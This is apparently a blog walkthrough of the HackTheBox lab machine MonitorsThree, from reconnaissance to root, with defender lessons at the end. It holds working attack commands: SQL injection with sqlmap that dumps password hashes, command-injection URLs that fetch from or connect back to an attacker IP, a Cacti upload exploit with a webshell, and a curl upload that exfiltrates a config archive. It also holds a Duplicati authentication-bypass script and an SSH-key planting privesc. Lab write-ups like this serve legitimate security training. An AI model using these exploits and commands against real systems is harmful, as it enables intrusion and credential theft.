MonitorsThree
2024-08-26
INTRODUCTION
MonitorsThree was released as the fourth box of HTB’s season 6, Heist. It’s an interesting addition to the “Monitors” line of boxes, all of which prominently feature the Cacti monitoring tool. This box took a little bit of research to complete, but was generally on the easier side of “medium”.
Recon was almost nonessential. Once you discover the cacti
subdomain, you’re ready to proceed. Fingerprint the two apps you’ve discovered, then check out the main monitorsthree
app in more detail. The site has a couple forms on it; running a popular tool to abuse these forms is enough to get you started on a foothold. From there, you’ll discover a credential leading you back to the cacti
web app. A little bit of vulnerability research goes a long way here. By exploiting a well known vulnerability (with well-documented PoC), you’ll gain an easy foothold.
After gaining a foothold, checking out the databases is key. Either filesystem enumeration or some simple guesswork will grant you access to the database. Inside are some password hashes. Crack them and pivot to the low-privilege user to grab the user flag.
More filesystem enumeration will yield some sensitive configs for a service listening locally. Once you find some juicy-looking info, start doing some vulnerability research related to that info and you’ll surely find the correct method for accessing the service. After gaining access to that service, you have several options for privesc. Be creative and try whatever works for you. Note that the service is a little flaky, so multiple attempts of the same thing might be required.
This box was interesting, but actually pretty straightforward. I spent most of my time trying to work around the unreliable/buggy aspects of services on this box; other than that, it was good fun.
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8084/tcp filtered websnp
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
8084/tcp filtered websnp
Note the redirect to http://monitorsthree.htb
.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No result
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
9/udp open|filtered tcpwrapped
53/udp open|filtered domain
68/udp open|filtered tcpwrapped
88/udp open|filtered kerberos-sec
111/udp open|filtered rpcbind
123/udp open|filtered ntp
139/udp open|filtered tcpwrapped
623/udp open|filtered asf-rmcp
996/udp open|filtered tcpwrapped
1030/udp open|filtered iad1
2222/udp open|filtered tcpwrapped
49185/udp open|filtered unknown
49200/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Domain enumeration
Noting the redirect from the nmap scan, I added monitorsthree.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
No surprises there. It’s using Ubuntu and a recent version of nginx.
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from that. Next I’ll check for subdomains of monitorsthree.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
We’ve discovered the cacti.monitorsthree.htb
subdomain. I’ll add that to the /etc/hosts
file too, then:
echo "$RADDR cacti.$DOMAIN" | sudo tee -a /etc/hosts
No new results from that. I’ll move on to directory and file enumeration on http://monitorsthree.htb
.
🕐 I don’t see much of a point in enumerating Cacti. It’s an open-source project; I could easily infer the directories and files just by looking through their repo on Github.
Directory enumeration
First, directory enumeration:
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v -fs 13560
Let’s quickly check the /admin
directory too:
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/admin/FUZZ -t 60 -c -o fuzzing/ffuf-directories-root-admin -of json -timeout 4 -v -ic -fs 13560
File enumeration
Next I’ll search for files in the /admin
directory:
WLIST=/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -c -o fuzzing/ffuf-files-root -of json -e .php,.js,.html,.txt -timeout 4 -v
It’s a little odd that we can access certain components. We’ll check that out soon.
Just for completeness, let’s also check for files in the /admin/assets
directory:
Exploring monitorsthree.htb
The website at http://monitorsthree.htb
seems to be a typical landing page for an IT services company. There isn’t anything really notable on the index page. There are a couple testimonials (with names and business names), and a link to /login.php
The /login.php
page doesn’t have any way to register a new user. However, there is a forgot_password.php
page where we can request a password reset. After trying a few obvious usernames, it seems like we would be able to enumerate usernames by fuzzing this form (3380 bytes):
Here’s a positive result (3385 bytes):
What about those UI components that we got an HTTP 200
on, during file enumeration? db.php
didn’t have any useful info, but navbar.php
gives a bit of a preview of the admin dashboard contents:
Login Form - quick tests
For a very succinct strategy on testing login forms, check out my page on that topic.
SQLi Auth Bypass
WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt ffuf -w $WLIST:FUZZ -u http://monitorsthree.htb/login.php -r -X POST -t 40 -c \ -H "Content-Type: application/x-www-form-urlencoded" \ -b "PHPSESSID=hiddedbuopbr2qdmcldg9srnnh" \ -d "username=FUZZ&password=password123" \ -fr 'Login to your account'
No result.
Password guessing
WLIST=/usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt ffuf -w $WLIST:FUZZ -u http://monitorsthree.htb/login.php -r -X POST -t 40 -c \ -H "Content-Type: application/x-www-form-urlencoded" \ -b "PHPSESSID=hiddedbuopbr2qdmcldg9srnnh" \ -d "username=admin&password=FUZZ" \ -fr 'Login to your account'
Also no result.
Exploring cacti.monitorsthree.htb
I think everyone reading this knows that the real clues are almost always in whatever subdomain you discover 😉
I never did Monitors. In MonitorsTwo, though, the foothold was gained by exploiting Cacti. I’m hoping this one will be no different. Feel free to read my walkthrough on MonitorsTwo for some context.
As expected, navigating to http://cacti.monitorsthree.htb
brings us to the login page for Cacti:
Vulnerability research
We can see the version is now 1.2.26
. While I didn’t see anything in searchsploit
, doing a web search for “Cacti 1.2.26 vulnerability exploit PoC” led to a plethora of results hinting at vulnerabilities that can lead to RCE:
- Authenticated insecure upload by
/lib/import.php
(CVE-2024-25641) - Authenticated SQLi via the
filter
parameter ofapi_automation.php
(CVE-2024-31445) - Unauthenticated RCE when PHP parameter
register_argc_argv
is set toon
(CVE-2024-29895) - Unauthenticated file inclusion in
/lib/plugin.php
(CVE-2024-25641)
Two of these are authenticated, two are unauthenticated.
FOOTHOLD
CVE-2024-29895
I’ll check that unauthenticated RCE first - it looks very easy to test, and the result is too good to be true
sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v &
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&wget+http://10.10.14.30:8000+1+1+1'
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&curl+http://10.10.14.30:8000+1+1+1'
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&nc+10.10.14.30+8000+1+1+1'
curl 'http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&sleep+10+1+1+1'
Nope, nothing.
CVE-2024-25641
I tried exploiting this vulnerability, using a very similar method to the PoC shown on github, but was ultimately unsuccessful; I’m not sure why.
If I run out of ideas, I might revisit this later 🚩
SQLi - monitorsthree.htb
We’ve already identified a couple forms on the website. Just to get the obvious out of the way, I also already tried some easy brute-forcing and some very quick-to-test SQLi auth bypasses. But what about a more comprehensive test of SQLi?
We saw from file enumeration that there is a db.php
file, so there’s a chance that the backend is running some kind of SQL database. If so, there’s also a chance they introduced an SQLi vulnerability.
To test both forms in one command, I’ll use
--crawl
👇
sqlmap -u 'http://monitorsthree.htb/login.php' --crawl=2 --random-agent --batch --forms --threads=5
😮 After slightly less than 5 minutes, a positive result was returned for the POST /forgot_password.php
form:
Alright! Let’s start enumerating the DB. First, get the name of the current database:
sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' --batch --current-db
monitorsthree_db
current database: 'monitorsthree_db'
Now let’s find the names of the tables:
sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' --batch -D 'monitorsthree_db' --tables
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
The users
table is a great place to start. This is taking a long time, so I’d like to minimize how much time I spend reading tables - let’s get the column names:
sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' --batch -D 'monitorsthree_db' -T 'users' --columns
Database: monitorsthree_db
Table: users
[9 columns]
+------------+---------------+
| Column | Type |
+------------+---------------+
| name | varchar(100) |
| position | varchar(100) |
| dob | date |
| email | varchar(100) |
| id | int(11) |
| password | varchar(100) |
| salary | decimal(10,2) |
| start_date | date |
| username | varchar(50) |
+------------+---------------+
id
, username
and password
are probably enough to get me further access.
☝️ If I can log in using any of these creds, maybe one of them will be an admin and I won’t need to keep performing this time-based blind SQLi.
sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=test' -p 'username' \
--batch -D 'monitorsthree_db' -T 'users' -C 'id,username,password' --dump
In retrospect
I already knew that
admin
was a valid user. I should have used the--sql-query
option in SQLmap to obtain the password for that user only. This would have been much faster (12.8 minutes, instead of several hours)
Database: monitorsthree_db
Table: users
[4 entries]
+----+-----------+----------------------------------+
| id | username | password |
+----+-----------+----------------------------------+
| 2 | admin | 31a181c8372e3afc59dab863430610e8 |
| 5 | mwatson | c585d01f2eb3e6e1073e92023088a3dd |
| 6 | janderson | 1e68b6eb86b45f6d92f8f292428f77ac |
| 7 | dthompson | 633b683cc128fe244b00f176c8a950f5 |
+----+-----------+----------------------------------+
Note: the above SQLi took almost 6 hours to complete. I might investigate a faster method for the SQLi.
Thankfully, these are MD5 hashes, so they should be really fast to crack. I put the hashes into a file with their usernames:
I double-checked the format using name-that-hash
, then started cracking:
PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS --format=raw-md5 monitorsthree_db_users.hash
Only one of the hashes was cracked by rockyou, but at least it was the admin
password! Now we know that admin : greencacti2001 should work for the login to the admin dashboard at http://monitorsthree.htb/login.php
, but before I forget, I should also test it with:
- SSH, on port 22
- Cacti, at
http://cacti.monitorsthree.htb/cacti
Testing credential re-use
First, I’ll check SSH:
I think it’s pretty safe to assume that password-based authentication is disabled globally on the target. Therefore, there will be no credential re-use.
Next, I’ll check Cacti:
👏 Perfect - the admin : greencacti2001 credentials work for Cacti. That means I can go try out those other two CVEs that require authentication! I’ll take a quick look at the main app at http://monitorsthree.htb
then try out those CVEs.
MonitorsThree admin dashboard
Not a security concern, but I see under the Invoices that the person in charge of (I guess… “accounts receivable”?) is Marcus Higgins.
The Users section appears to be a reflection of the users
table from the database:
The Changelog seems like it should hold some hints, but the only actionable hint is about Users, and isn’t even true:
Introduced a user management section to display and manage current users of the web app. Admins can view active users and manage user roles
Maybe we’re looking at version 1.3 still? 🤷♂️
Cacti CVEs
Now that we have a valid login for Cacti, there’s much better chance that we can actually utilize those two CVEs with “authenticated” exploits.
Since the insecure upload one (CVE-2024-25641) would more directly yield a foothold, I’ll try that first.
The vulnerability disclosure provides its own PoC. It’s not a self-contained script PoC; it’s more like a walkthrough on how to reproduce an exploit. While it would be totally viable to produce our own PoC code for this one, it turns out that there are already a few good ones on Github.
If we did want to go through the exercise of writing a PoC though, we could do this:
Write or obtain a PHP payload - a simple webshell is probably fine
Use the PoC PHP script to bundlethe payload into a module installable by Cacti
Deliver the payload via the authenticated upload endpoint.
* Remember to obtain the anti-CSRF token: at least two web requests are required to deliver the payload, then one more to trigger it.
Conceptually, pretty easy! 😉
Let’s try out the PoC by @5ma1l for CVE-2024-25641. I’ll use the phpbash
webshell as a payload. Since the exploit is written in python, I’ll set up a venv
:
cd exploit
python -m venv . && source bin/activate
git clone https://github.com/5ma1l/CVE-2024-25641
cd CVE-2024-25641
pip3 install -r requirements.txt
PAYLOAD=/usr/share/webshells/php/phpbash.php
python3 exploit.py -p $PAYLOAD 'http://cacti.monitorsthree.htb/cacti' 'admin' 'greencacti2001'
The exploit uses a predictable hardcoded filename for the uploaded file. Let’s mix it up a little by changing the filename to something less likely for a fuzzer to find:
sed -i 's/test\.php/dkajfhaskljgfas\.php/g' exploit.py
Alright, let’s run the exploit:
PAYLOAD=/usr/share/webshells/php/phpbash.php
python3 exploit.py -p $PAYLOAD 'http://cacti.monitorsthree.htb/cacti' 'admin' 'greencacti2001'
Since I’m using a webshell, I’ll navigate there myself any check the result (so I answered n
at the final prompt)
Success! After looking around for a minute or so, I realized there is a cleanup script running very frequently, so I’ll need to use a reverse shell anyway. Let’s start a listener:
sudo ufw allow from $RADDR to any port 53
bash
sudo nc -lvnp 53
Now I’ll upload the webshell again, then use it to start a reverse shell (simply uploading a reverse shell without using a reverse shell would have been even faster).
🎉 Alright! We have a foothold
USER FLAG
Upgrade the shell
For an explanation of this, please check out my guide on upgrading the shell.
SHELL=/bin/bash script -q /dev/null
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
Then some stuff just for comfort:
alias ll='ls -lah'
mkdir -p /tmp/.Tools
Local enumeration - www-data
One of the first things I like to do when I gain a foothold is to check out the code of the thing that granted me the foothold. In our case, that’s the two web apps:
- monitorsthree, at
/var/www/html/app
- cacti, at
/var/www/html/cacti
What services are listening? I checked netstat
:
Port 8200
TCP port 8200 is unexpected. Trying the port with nc
reveals that it’s definitely listening for http
traffic… 🤔
A little web searching revealed that port 8200 is commonly used for Hashicorp Vault. We should be able to access this via proxychains
:
Unclear whether or not that worked, but if it did we’ll still need a token to be able to interact with it at all. I asked ChatGPT about the token format, and it indicated that the vault
token should be something like s.XXXXXXXX
where X
is an alphanumeric character, and there are at least 6 “X
”:
s\.[A-Za-z0-9]{6,16}
I did a quick scan of the filesystem for anything matching this regex, but I encountered too many false-positives to be able to sift through it manually.
I’ll keep an eye out for something of that format, as I continue enumeration.
MySQL
After gaining foothold, database credentials are usually a good place to start. I looked up the db.php
file that we saw earlier, at /var/www/html/app/admin/db.php
:
<?php
$dsn = 'mysql:host=127.0.0.1;port=3306;dbname=monitorsthree_db';
$username = 'app_user';
$password = 'php_app_password';
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
try {
$pdo = new PDO($dsn, $username, $password, $options);
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
Excellent, there’s some database credentials in there. That’s the database we did the initial SQLi on. To make things a little easier to work with, I’ll start up a SOCKS5 proxy.
Aside: SOCKS Proxy using Chisel
During user enumeration I found a locally-exposed port 5432 (probably PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the
chisel
server:☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:... socks5 127.0.0.1 1080 #socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp ./chisel server --port 9999 --reverse
Then, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.30:9999 R:1080:socks &
To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:
proxychains whatweb http://10.10.14.30:8000
The result is my index page - Success 👍
With the chisel
SOCKS proxy established, I can easily connect to the MySQL database from my attacker machine, using those credentials I just found:
proxychains mysql -h '127.0.0.1' -D 'monitorsthree_db' -u 'app_user' -pphp_app_password
😅 That’s a little faster than a time-based blind SQLi! Although, there doesn’t seem to be anything in that database that I didn’t already know about. Is there anything else we can do from MySQL? I tried:
- Seeing if there was another database to access from this user (there isn’t)
- Reading and writing files (Don’t have the permissions)
How about the other application, Cacti - there are probably database credentials somewhere… Some web searching revealed that (in step 5) of the official configuration guide for Cacti it notes that the database config should be in include/config.php
- Indeed, we find a bunch of MySQL-related info in /var/www/html/cacti/include/config.php
:
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
Let’s connect to it and see if there’s anything useful:
proxychains mysql -h '127.0.0.1' -D 'cacti' -u 'cactiuser' -pcactiuser
There are a lot of tables in this database, as expected. The user_auth
table stands out right away as a place that credentials might reside:
Perfect! Those look like bcrypt hashes.
Password cracking
Let’s get cracking:
👇 Remember that we already know the password for
admin
isgreencacti2001
, so there’s no point in waiting for that one to crack.
PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS --format=bcrypt cacti_users_auth.hash
😂 That is a top-notch password, marcus.
We already know that password-based authentication for SSH is disabled, so can we privesc via just su
?
su marcus # use password: 12345678910
Yes, we can! 😆
SSH key
First, I’ll check if marcus
has an SSH key:
ls -lahR /home/marcus
Yep - there’s a private key exactly where we’d expect it to be, if one is present. Let’s take a copy - no need to do any fancy file transfer:
cat /home/marcus/.ssh/id_rsa # copy to clipboard
Now on the attacker host, let’s use the key to log in as marcus
:
vim loot/id_rsa # paste from clipboard
chmod 600 loot/id_rsa
ssh -i loot/id_rsa marcus@$RADDR
The user flag is in the usual spot - go ahead and read it for the points:
cat /home/marcus/user.txt
ROOT FLAG
I’ll admit, I was really hoping to find a
vault
token somewhere in/home/marcus
. Hmm…
Local enumeration - marcus
As one of the first steps of local enumeration, I checked again for listening services (mostly, to see if they were labeled with the listening application/process instead of just the port and address). Port 8200 was there, but still unlabeled - since can use SSH to connect now, it’s easier to simply forward that port instead of relying on a SOCKS proxy:
ssh -i loot/id_rsa -L 8200:localhost:8200 marcus@$RADDR
With that port forwarded, it’s now even easier to navigate to it in a browser (we already knew it was listening for HTTP
):
“Duplicati”, that’s interesting. It’s not Hashicorp Vault, as I had previously thought. I tried some of the known credentials and obvious guesses, but nothing is working. I’ll certainly return to this once I know more 🚩
As I was continuing through my local enumeration checklist, I found something interesting - I checked for any docker configurations:
find / -name "dockerfile" -o -name "docker-compose.yml" 2>/dev/null
This found /opt/docker-compose.yml
, which appears to be a the configuration for the Duplicati service running on port 8200:
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
It’s looking pretty certain that we’re heading in the right direction now 😉
The volume mapping looks a little odd. Why would they map the filesystem root /
to /source
? Also, this duplicati
instance seems like it’s running as root internally.
Can we just hop into the container, check out /source/root/root.txt
and be done?
😂 Haha nope… That would be too easy!
Duplicati
So what is Duplicati, anyway? I had to do a little research about it. Turns out that it’s a tool for taking backups. It’s a bit of a hybrid between full and incremental backups, plus a little bit of cryptographyso you can prove backup integrity.
They have an article describing how it works on their forum. It’s definitely worth reading.
😁 Honestly, it’s really cool! Duplicati seems very useful and uses some clever ideas.
The /config
volume from the previous docker-compose.yml
file seems a little interesting. Let’s examine it more closely:
I’ll exfil it using a file upload. On the attacker host, I’ll start up an http
server:
cd www
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v
Now, as marcus
, I’ll archive the directory and upload the resulting file:
tar -czvf /tmp/.Tools/config.tar.gz config/
curl -X POST -F 'file=@/tmp/.Tools/config.tar.gz' http://10.10.14.30:8000
💡 It would have been faster and more direct to just use
scp
to transfer the directory, but whatever
Let’s take a look at it:
mv www/config.tar.gz loot/ && cd loot
tar -zxvf config.tar.gz
sqlite3 Duplicati-server.sqlite
# sqlite> .schema
The schema is a little confusing, but mentions a lot of stuff that would be important for a backup service.
Looking through the database, I noticed some things:
Backup
references a file we’ve already obtained:- The
Option
table shows something that might be a valid passphrase: There’s apassphrase
and asalt
, but for Backup ID4
we see that--no-encryption
is set totrue
. If I’m understanding Duplicati correctly, this would have been the passphrase and salt for an encrypted backup… so why is it here? - There are a few errors for Backup ID 4 in the error log.
I did a web search for “Duplicati passphrase” to find out more, and immediately stumbled across a page by a security researcher. As it turns out, they found a way to bypass the Duplicati web authentication by using the passphrase and salt 🤑 That’s exactly what I needed!
This whole plan relies on the
salt
still being valid. This is easily verifiable, though.Running a single authentication attempt (with a random password) through the login page, we can see that it provides the same salt as seen above:
Checking out the Duplicati github repo, I found that the researcher reported this issue, and it was since solved. It might still be worth checking for it though.
Normally, this is how the authentication would work:
However, we will instead circumvent part of the client-side javascript. We’ll provide a pre-hashed password (the one we found in the Option
table) instead of using the client-side javascript to calculate the hash.
Let’s try out this procedure using ZAP.
First, get the hex encoding of the passphrase we found in the database. You could do this in bash, but here’s the cyberchef recipe anyway:
Next, tell ZAP to Break on all requests and responses:
Enter an arbitrary password into the Duplicati login page:
The request should be proxied through ZAP. It should be a POST
request with a body of get-nonce=1
indicating that we are requesting the nonce and the known salt. Submit and Step once, into the response to this request:
The salt and nonce are provided:
Copy the base-64 nonce from ZAP and the hex passphrase from Cyberchef into the following script:
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var b64nonce = '7kDw6qZ5AAOZqM0WLEyT/tZbHxDRhLV56Hwr1s+iJV0='
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(b64nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
Paste the script into the browser console to evaluate it:
Copy the value of noncedpwd
that it prints. In ZAP, Submit and Step once more, into the POST request that has a password hash for a body. Paste our calculated noncedpwd
value into that spot. Select the value, and open it in Encode/Decode/Hash:
Replace the value in the POST
body with the URL-encoded version of itself:
Finally, select Submit and Continue to forward our calculated password, that has been hashed using the provided nonce:
Checking the browser window again, we can see that the authentication was indeed bypassed!
Not working?
Yeah, I couldn’t get it working for a very long time.
The auth bypass would go perfectly, but then the app would fail to load! All I got was this:
Basically, it looked like Angular wasn’t running, or there was some kind of templating problem..? So weird.
The troubleshooting took a very long time, but ultimately I found a solution: Use Burpsuite, with its built-in Chromium browser.
😞 After switching to Chromium, the app loaded perfectly.
The only difference when performing the auth bypass using Burp instead of ZAP is how you specify to proxy the response to the request. Do this after intercepting the initial
get-nonce
request:
Privesc planning
After taking a look through the Duplicati interface, I think I see the misconfiguration. Due to the “strange” volume mapping that I saw in the docker-compose.yml
file, we have overly permissive access to the whole filesystem using Duplicati.
It seems like Duplicati allows us not only to take backups of arbitrary sources, but also to “restore” backups to arbitrary destinations! By abusing this, we can indirectly plant an SSH key for the root user.
To prepare, let’s first generate an ssh key, and use an http
server to transfer it to where marcus can use it:
cd loot
ssh-keygen -t rsa -b 4096 -f root_id_rsa -N 'hawk.hawk'
chmod 600 root_id_rsa
base64 -w 0 root_id_rsa.pub
Next make the Source
and Destination
directories using the marcus
shell and download the key:
mkdir -p /tmp/Backups/Source
mkdir -p /tmp/Backups/Destination
curl -o /tmp/Backups/Source/authorized_keys http://10.10.14.10:8000/root_id_rsa.pub
Privesc execution
Making the backup
The existing backup operation doesn’t do what we need it to do. Let’s define a new one that backs up the /tmp/Backups/Source
directory into /tmp/Backups/Destination
.
👇 Remember, the docker volume is mapped as
/:/source
, so we will need to prefix all filepaths with/source
Setting up the backup:
- I gave it an arbitrary name, and specified that no encryption should be used.
- Used
/source/tmp/Backups/Destination
as the backup Destination - Used
/source/tmp/Backups/Source/authorized_keys
as the backup Source - Give it a schedule to run every minute
- Retain only one backup. No need to bloat the filesystem
⭐ After hitting Save… nothing happend. Nothing happened for a LONG time. My best advice is to really mash that button. It only happened after maybe the tenth time I tried it.
⚠️ EDIT (thank you, @x6h057)
It turns out that this method works perfectly the first time if the Run again every parameter is set to a value greater than 5 minutes. If you set this to 6 minutes, it should work find.
Eventually, my backup operation appeared, and seems successfully defined:
After clicking the Run now text, I was shown a short success message. The results are visible from the marcus
shell:
Restoring the backup
Now that we have a valid Duplicati archive, we can “restore” the backup into our target directory. The zip files shown above will actually just unpack as authorized_keys
.
We can now choose the Restore operation from the sidebar. Select the Keys backup
to restore from:
The most important thing is to choose an alternate destination for the files, instead of restoring them to the backup source directory:
This attempt seems successful:
There’s only one way to find out if it worked. Let’s try connecting using SSH!
🎉 We have a root shell! Read the flag in the usual spot to finish off the box:
cat /root/root.txt
EXTRA CREDIT
Cleanup scripts:
In case you were wondering, here’s the script that cleans up the Cacti resources
directory, so that peoples exploits don’t accumulate:
#!/bin/bash
DIR="/var/www/html/cacti/resource"
KEEP_FILES=("index.php" "script_queries" "script_server" "snmp_queries")
for FILE in "$DIR"/*; do
FILENAME=$(basename "$FILE")
FOUND=false
for KEEP_FILE in "${KEEP_FILES[@]}"; do
if [[ "$FILENAME" == "$KEEP_FILE" ]]; then
FOUND=true
break
fi
done
echo "Processing file: $FILENAME"
if [ "$FOUND" = true ]; then
echo "File is in the list of files to keep."
else
echo "File will be deleted."
fi
if [ "$FOUND" = false ]; then
rm -rf "$FILE"
echo "Deleted file: $FILENAME"
fi
done
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED
Attacker
🗺️ Write some SQL queries that are pre-optimized for time-based blind SQLi. This can greatly speed up database enumeration, and it’s definitely something I should have done on this box. By “pre-optimized” I mean writing the query to be insensitive to column names, or usernames, etc. We can already use certain flags with SQLMap to search for common table names, so why not also write a query that simultaneously dumps contents of any column named “pass”, “password”, “token”, “passwd”, etc. Any maybe pre-filter it for only known users (we already knew
admin
was a user, and could have easily guessedmarcus
, too)🌐 Have a few browsers on-hand. If something seems like it really should be working, maybe it’s time to try again but with a different browser. I do most of my work using Firefox, but I’m beginning to see the advantage of using the Burp-integrated Chromium or the ZAP-integrated firefox as well.
🕺 Figure out ways to skip re-exploiting the box when the connection breaks. For example, if you’ve found a way to upload a webshell, and know that you can open a reverse shell using that webshell, it’ll be a time-saver to edit your exploit to just upload a reverse shell instead!
Defender
🆙 Do your updates. The vulnerability we exploited in Cacti for file upload was very well-known. It’s especially important to keep internet-facing systems updated - even moreso when large security-related patches are released.
💾 Be mindful of your volume mapping. As soon as I saw the flawed
docker-compose.yml
on this box, I knew for sure that the volume mapping would be involved in privesc. Having overly permissive volume mapping means that directories on the host system are exposed to the container as well - so a mapping like/:/source
effectively doubles the attack surface!📂 Take care of permissions on files that contain secrets. On this box, the
marcus
user (and maybe evenwww-data
? I forgot to check ) had access to the config files of Duplicati. This is a big problem, as it essentially extends trust of the whole Duplicati system onto the users who can access the configs. A much better solution would have been to create the configs, a system account for Duplicati, then change permissions and ownership of the configs so only the Duplicati system account can run the Duplicati container and read the configs.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake